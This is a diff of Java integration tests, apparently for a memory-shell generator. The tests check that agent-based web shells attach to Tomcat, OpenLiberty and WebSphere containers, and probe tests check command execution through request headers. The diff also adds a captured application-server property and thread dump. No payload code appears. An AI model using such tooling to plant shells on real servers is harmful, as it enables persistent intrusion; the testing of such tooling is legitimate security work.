|
||||
|
||||
@Test
|
||||
void testListProcessAndAttachAll() {
|
||||
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||
}
|
||||
}
|
||||
|
||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
@@ -51,4 +53,9 @@ public class Tomcat5ContainerTest extends AbstractContainerTest {
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testListProcessAndAttachAll() {
|
||||
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||
}
|
||||
}
|
||||
|
||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
@@ -50,4 +52,9 @@ public class Tomcat6ContainerTest extends AbstractContainerTest {
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testListProcessAndAttachAll() {
|
||||
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||
}
|
||||
}
|
||||
|
||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
@@ -51,4 +53,9 @@ public class Tomcat7ContainerTest extends AbstractContainerTest {
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testListProcessAndAttachAll() {
|
||||
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||
}
|
||||
}
|
||||
|
||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
@@ -53,4 +55,9 @@ public class Tomcat8ContainerTest extends AbstractContainerTest {
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testListProcessAndAttachAll() {
|
||||
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||
}
|
||||
}
|
||||
|
||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
@@ -53,4 +55,9 @@ public class Tomcat9ContainerTest extends AbstractContainerTest {
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testListProcessAndAttachAll() {
|
||||
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||
}
|
||||
}
|
||||
|
||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -50,4 +52,9 @@ public class OpenLiberty18ContainerTest extends AbstractContainerTest {
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testListProcessAndAttachAll() {
|
||||
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
|
||||
}
|
||||
}
|
||||
|
||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -50,4 +52,9 @@ public class OpenLiberty20ContainerTest extends AbstractContainerTest {
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testListProcessAndAttachAll() {
|
||||
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
|
||||
}
|
||||
}
|
||||
|
||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -50,4 +52,9 @@ public class OpenLiberty22ContainerTest extends AbstractContainerTest {
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testListProcessAndAttachAll() {
|
||||
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
|
||||
}
|
||||
}
|
||||
|
||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -50,4 +52,9 @@ public class OpenLiberty25ContainerTest extends AbstractContainerTest {
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testListProcessAndAttachAll() {
|
||||
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
|
||||
}
|
||||
}
|
||||
|
||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -50,4 +52,9 @@ public class WebSphere855ContainerTest extends AbstractContainerTest {
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testListProcessAndAttachAll() {
|
||||
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
|
||||
}
|
||||
}
|
||||
|
||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -50,4 +52,9 @@ public class WebSphere905ContainerTest extends AbstractContainerTest {
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testListProcessAndAttachAll() {
|
||||
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
|
||||
}
|
||||
}
|
||||
|
||||
+9
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere7;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -13,6 +15,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.time.Duration;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -26,6 +29,7 @@ public class WebSphere700ContainerTest extends AbstractContainerTest {
|
||||
"reajason/websphere:7.0.0.21",
|
||||
"/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war")
|
||||
.targetJdkVersion(Opcodes.V1_6)
|
||||
.env(Map.of("JAVA_OPTS", "-Xshareclasses:none"))
|
||||
.waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.SERVLET,
|
||||
@@ -46,4 +50,9 @@ public class WebSphere700ContainerTest extends AbstractContainerTest {
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testListProcessAndAttachAll() {
|
||||
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
|
||||
}
|
||||
}
|
||||
|
||||
+6
-6
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.integration.probe.struct2;
|
||||
package com.reajason.javaweb.integration.probe.struts2;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
@@ -11,17 +11,17 @@ import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.struct2WarFile;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.struts2WarFile;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/4
|
||||
*/
|
||||
@Testcontainers
|
||||
public class Struct2ContainerTest extends AbstractProbeContainerTest {
|
||||
public class Struts2ContainerTest extends AbstractProbeContainerTest {
|
||||
|
||||
private static final ProbeTestConfig CONFIG = ProbeTestConfig.tomcat("tomcat:8-jre8")
|
||||
.warFile(struct2WarFile)
|
||||
.warFile(struts2WarFile)
|
||||
.expectedJdkVersion("JRE|1.8.0_402|52")
|
||||
.targetJdkVersion(Opcodes.V1_8)
|
||||
.supportsBytecode(false)
|
||||
@@ -47,7 +47,7 @@ public class Struct2ContainerTest extends AbstractProbeContainerTest {
|
||||
@SneakyThrows
|
||||
protected void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl();
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Struct2, Opcodes.V1_8);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Struts2, Opcodes.V1_8);
|
||||
}
|
||||
|
||||
@Override
|
||||
@@ -55,6 +55,6 @@ public class Struct2ContainerTest extends AbstractProbeContainerTest {
|
||||
@SneakyThrows
|
||||
protected void testScriptEngineReqHeaderResponseBody() {
|
||||
String url = getUrl();
|
||||
ProbeAssertion.responseScriptEngineIsOk(url, Server.Struct2, Opcodes.V1_8);
|
||||
ProbeAssertion.responseScriptEngineIsOk(url, Server.Struts2, Opcodes.V1_8);
|
||||
}
|
||||
}
|
||||
+1
-1
@@ -18,7 +18,7 @@ import java.time.Duration;
|
||||
public class OpenLiberty25ContainerTest extends AbstractProbeContainerTest {
|
||||
|
||||
private static final ProbeTestConfig CONFIG = ProbeTestConfig.openLiberty("open-liberty:25.0.0.12-full-java17-openj9")
|
||||
.expectedJdkVersion("JRE|17.0.18|61")
|
||||
.expectedJdkVersion("JRE|17.0.19|61")
|
||||
.targetJdkVersion(Opcodes.V1_8)
|
||||
.waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
||||
.privilegedMode(true)
|
||||
|
||||
@@ -0,0 +1,718 @@
|
||||
# Generated At 2026-05-24 05:21:22
|
||||
SystemProps:
|
||||
java.specification.version: 17
|
||||
com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar
|
||||
bes.useNaming: true
|
||||
sun.jnu.encoding: UTF-8
|
||||
com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToSkip: bes-server-jpa-integration,jakarta.mail,bes-jdbcra,org.codehaus.woodstox.stax2-api,bes-web-glue,org.metatype.sxc.sxc-jaxb-core,besmq-ra,bes-webapp-compressor,derbyclient,bes-ejb-glue,bes-deployment,org.apache.xbean.xbean-reflect,bes-admin-command,org.apache.commons.commons-beanutils,org.apache.johnzon.johnzon,org.apache.openwebbeans.openwebbeans-ee-common,bes-connector-runtime,org.apache.commons.commons-codec,bes-ee-loader,org.codehaus.woodstox.woodstox-core-asl,org.apache.commons.commons-collections4,bes-config-remote-adapter,bes-descriptor,bes-server-internal,bes-logger,bes-webtier-util,bes-webtier-coyote,bes-webtier-jsp-api,bes-ee-integration,bes-engine,bootstrap,bes-jdbc-fastcp,bes-patch,commons-codec,org.apache.bval-core,jakartaee-api-endorsed,org.mozilla.rhino,bes-launcher,bes-server-api,org.apache.bval-jsr,xmpcore-,bes-server-jee-accessors,commons-beanutils,org.apache.myfaces.core.myfaces-api,org.apache.openwebbeans.openwebbeans-jsf,org.objectweb.howl.howl,bes-webtier-servlet-api,besmq-mgmt,org.apache.xbean.xbean-naming,bes-server-loader,jakartaee,org.apache.commons.commons-cli,org.apache.geronimo.specs.geronimo-osgi-locator,bes-distributed-session-core,org.apache.openwebbeans.openwebbeans-web,bes-webtier-jasper,bes-config-remote,bes-gmssl-adapter,org.apache.commons.commons-pool2,bes-config-serverbeans,bes-server-quartz-shade,org.apache.xbean.xbean-finder-shaded,bes-ee-myfaces-connector,commons-dbcp,commons-io,bes-server-client,bes-server-http,org.apache.openwebbeans.openwebbeans-ejb,org.codehaus.swizzle.swizzle-stream,bes-monitor,derby,commons-logging,bes-server-ejbd,bes-deployment-common,bes-config-parser,metadata-extractor,org.metatype.sxc.sxc-runtime,bes-logger-adapter,org.hsqldb.hsqldb,commons-collections,bes-jmx-remote,bes-cli-command,bes-command-api,bes-connector-transaction,org.eclipse.jdt.ecj,commons-digester,bes-server-core,bes-api,activation,commons-fileupload,org.apache.openwebbeans.openwebbeans-el22,besmq-client,org.eclipse.persistence.eclipselink,bes-ee-common,bes-server-javaagent,com.sun.xml.bind.jaxb,org.apache.openwebbeans.openwebbeans-impl,bes-license,org.apache.xbean.xbean-bundleutils,org.apache.commons.commons-logging,org.apache.openwebbeans.openwebbeans-spi,bes-engine-ha,org.slf4j.slf4j-jdk14,org.apache.openwebbeans.openwebbeans-ee,org.ow2.asm.asm-all,besmq-common,bes-websocket-api,org.apache.xbean.xbean-asm5-shaded,ant,commons-httpclient,jakarta.persistence,bes-webtier-el-api,bes-server-jee,mbean-annotation-api,bes-gmssl,bes-ee-mq-connector,bes-common-util,bes-server-rest,org.apache.commons.commons-digester,bes-websocket
|
||||
com.bes.resource.ejb.leakDetect: false
|
||||
bes.loader: bes-system
|
||||
sun.arch.data.model: 64
|
||||
java.vendor.url: https://adoptium.net/
|
||||
sun.boot.library.path: /opt/java/openjdk/lib
|
||||
com.bes.hostName: d7c39dda372c
|
||||
sun.java.command: com.bes.enterprise.startup.ASMain -instancedir /opt/bes -verbose true -debug false start
|
||||
jdk.debug: release
|
||||
java.specification.vendor: Oracle Corporation
|
||||
java.naming.factory.url.pkgs: com.bes.enterprise.naming:com.bes.enterprise.ejb.core.ivm.naming
|
||||
java.version.date: 2026-04-21
|
||||
java.home: /opt/java/openjdk
|
||||
jgroups.loader: "${bes.home}/lib/jgroups/*.jar"
|
||||
javax.net.ssl.certificateKeyFile: /opt/bes/conf/security/key.pem
|
||||
file.separator: /
|
||||
javax.net.ssl.certificateChainFile: /opt/bes/conf/security/chain.pem
|
||||
java.vm.compressedOopsMode: 32-bit
|
||||
javax.net.ssl.certificateFile: /opt/bes/conf/security/cert.pem
|
||||
line.separator:
|
||||
|
||||
java.vm.specification.vendor: Oracle Corporation
|
||||
java.specification.name: Java Platform API Specification
|
||||
com.bes.instanceRoot: /opt/bes
|
||||
jdbc.drivers: org.apache.derby.jdbc.ClientDriver
|
||||
package.definition: sun.,java.,com.bes.enterprise.webtier.,com.bes.enterprise.web.crane.,com.bes.enterprise.web.jasper.,com.bes.enterprise.naming.,com.bes.enterprise.web.
|
||||
sun.management.compiler: HotSpot 64-Bit Tiered Compilers
|
||||
com.bes.enterprise.ejb.configurator: com.bes.enterprise.ejb.BESEjbConfigurationFactory
|
||||
java.runtime.version: 17.0.19+10
|
||||
user.name: root
|
||||
java.security.policy: /opt/bes/conf/security/server.policy
|
||||
com.bes.javaRoot: /opt/java/openjdk
|
||||
file.encoding: UTF-8
|
||||
java.vendor.version: Temurin-17.0.19+10
|
||||
derby.system.home: /opt/bes
|
||||
java.io.tmpdir: /tmp
|
||||
java.version: 17.0.19
|
||||
java.vm.specification.name: Java Virtual Machine Specification
|
||||
native.encoding: UTF-8
|
||||
java.library.path: /opt/bes/lib
|
||||
java.vendor: Eclipse Adoptium
|
||||
ANTLR_USE_DIRECT_CLASS_LOADING: true
|
||||
java.specification.maintenance.version: 1
|
||||
java.rmi.server.randomIDs: true
|
||||
xxx: xxx
|
||||
sun.io.unicode.encoding: UnicodeLittle
|
||||
com.bes.enterprise.embedder.source: ServerListener
|
||||
bcs.loader: "${bes.home}/lib/bcs/*.jar"
|
||||
hsqldb.reconfig_logging: false
|
||||
bes.home: /opt/bes
|
||||
com.bes.enterprise.startup.ExitOnInitFailure: true
|
||||
javax.xml.stream.XMLInputFactory: com.bes.wstx.stax.WstxInputFactory
|
||||
java.class.path: /opt/bes/patch/V11.0.0.3668.012.core.jar:/opt/bes/patch/V11.0.0.3668.009.core.jar:/opt/bes/patch/V11.0.0.3668.007.core.jar:/opt/bes/patch/V11.0.0.3668.005.core.jar:/opt/bes/patch/V11.0.0.3668.004.core.jar:/opt/bes/patch/V11.0.0.3668.001.core.jar:/opt/bes/lib/bootstrap/bes-gson.jar:/opt/bes/lib/bootstrap/bes-logger.jar:/opt/bes/lib/bootstrap/bes-common-core.jar:/opt/bes/lib/bootstrap/bes-gmssl.jar:/opt/bes/lib/bootstrap/bootstrap.jar:/opt/bes/lib/bootstrap/bes-httpcore5.jar:/opt/bes/lib/bootstrap/bes-config-parser.jar:/opt/bes/lib/bootstrap/bes-config-serverbeans.jar:/opt/bes/lib/bootstrap/bes-license.jar:/opt/bes/lib/bootstrap/bes-patch.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-logging.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.stax2-api.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-codec.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.woodstox-core-asl.jar
|
||||
jakarta.security.jacc.PolicyConfigurationFactory.provider: com.bes.enterprise.ejb.core.security.JaccProvider$Factory
|
||||
java.vm.vendor: Eclipse Adoptium
|
||||
com.bes.enterprise.web.util.buf.StringCache.byte.enabled: true
|
||||
bes.base: /opt/bes
|
||||
user.timezone: Etc/UTC
|
||||
com.bes.instanceName: server
|
||||
java.vm.specification.version: 17
|
||||
os.name: Linux
|
||||
sun.java.launcher: SUN_STANDARD
|
||||
user.country: US
|
||||
sun.cpu.endian: little
|
||||
com.bes.enterprise.deployments.classpath: false
|
||||
user.home: /root
|
||||
user.language: en
|
||||
com.bes.enterprise.ejb.core.security.JaccProvider: com.bes.enterprise.ejb.core.security.jacc.BasicJaccProvider
|
||||
com.bes.verboseMode: true
|
||||
com.bes.enterprise.deployments.classpath.filter.systemapps: false
|
||||
java.awt.headless: true
|
||||
package.access: sun.,com.bes.enterprise.webtier.,com.bes.enterprise.web.crane.,com.bes.enterprise.web.jasper.,com.bes.enterprise.web.
|
||||
server.loader:
|
||||
com.bes.enterprise.provider.default: com.bes.enterprise
|
||||
java.naming.factory.initial: com.bes.jndi.CtxFactory
|
||||
java.net.preferIPv4Stack: true
|
||||
path.separator: :
|
||||
java.security.egd: file:/dev/./urandom
|
||||
common.loader: "${bes.base}/lib/*.jar","${bes.home}/lib/*.jar","${bes.home}/lib/3rd/*.jar","${bes.home}/modules/besmq/lib/client/*.jar","${bes.home}/modules/besmq/lib/admin/*.jar","${bes.home}/modules/besmq/lib/besmq-common.jar","${bes.home}/modules/besmq/lib/besmq-mss.jar"
|
||||
os.version: 6.8.0-111-generic
|
||||
java.runtime.name: OpenJDK Runtime Environment
|
||||
org.apache.security.jacc.EJBMethodPermission.methodInterfaces: BusinessLocalHome,BusinessRemoteHome,BusinessRemote,BusinessLocal
|
||||
com.bes.resource.leakDetect: false
|
||||
bes.version: 11.0.0
|
||||
java.vm.name: OpenJDK 64-Bit Server VM
|
||||
java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues
|
||||
com.bes.installRoot: /opt/bes
|
||||
com.bes.enterprise.deployment.hotdeploy.dir: /opt/bes/hotdeploy
|
||||
user.dir: /opt/bes/conf
|
||||
bval.in-container: true
|
||||
os.arch: amd64
|
||||
shared.loader: "${bes.base}/lib/shared/classes","${bes.base}/lib/shared/*.jar","${bes.home}/lib/shared/classes","${bes.home}/lib/shared/*.jar"
|
||||
java.util.logging.manager: com.bes.enterprise.server.logging.BESClassLoaderLogManager
|
||||
java.vm.info: mixed mode, sharing
|
||||
java.vm.version: 17.0.19+10
|
||||
java.class.version: 61.0
|
||||
com.bes.enterprise.log.outAndErrNotRedirect: false
|
||||
|
||||
===========================================
|
||||
|
||||
ThreadStacks:
|
||||
"AppServer-utility-2" #73 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2af69321
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"httpWorkerThread-8080-3" #75 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"Reference Handler" #2 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/java.lang.ref.Reference.waitForReferencePendingList(Native Method)
|
||||
at [email protected]/java.lang.ref.Reference.processPendingReferences(Reference.java:253)
|
||||
at [email protected]/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:215)
|
||||
|
||||
"httpWorkerThread-1900-1" #68 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79a606ab
|
||||
java.lang.Thread.State: WAITING
|
||||
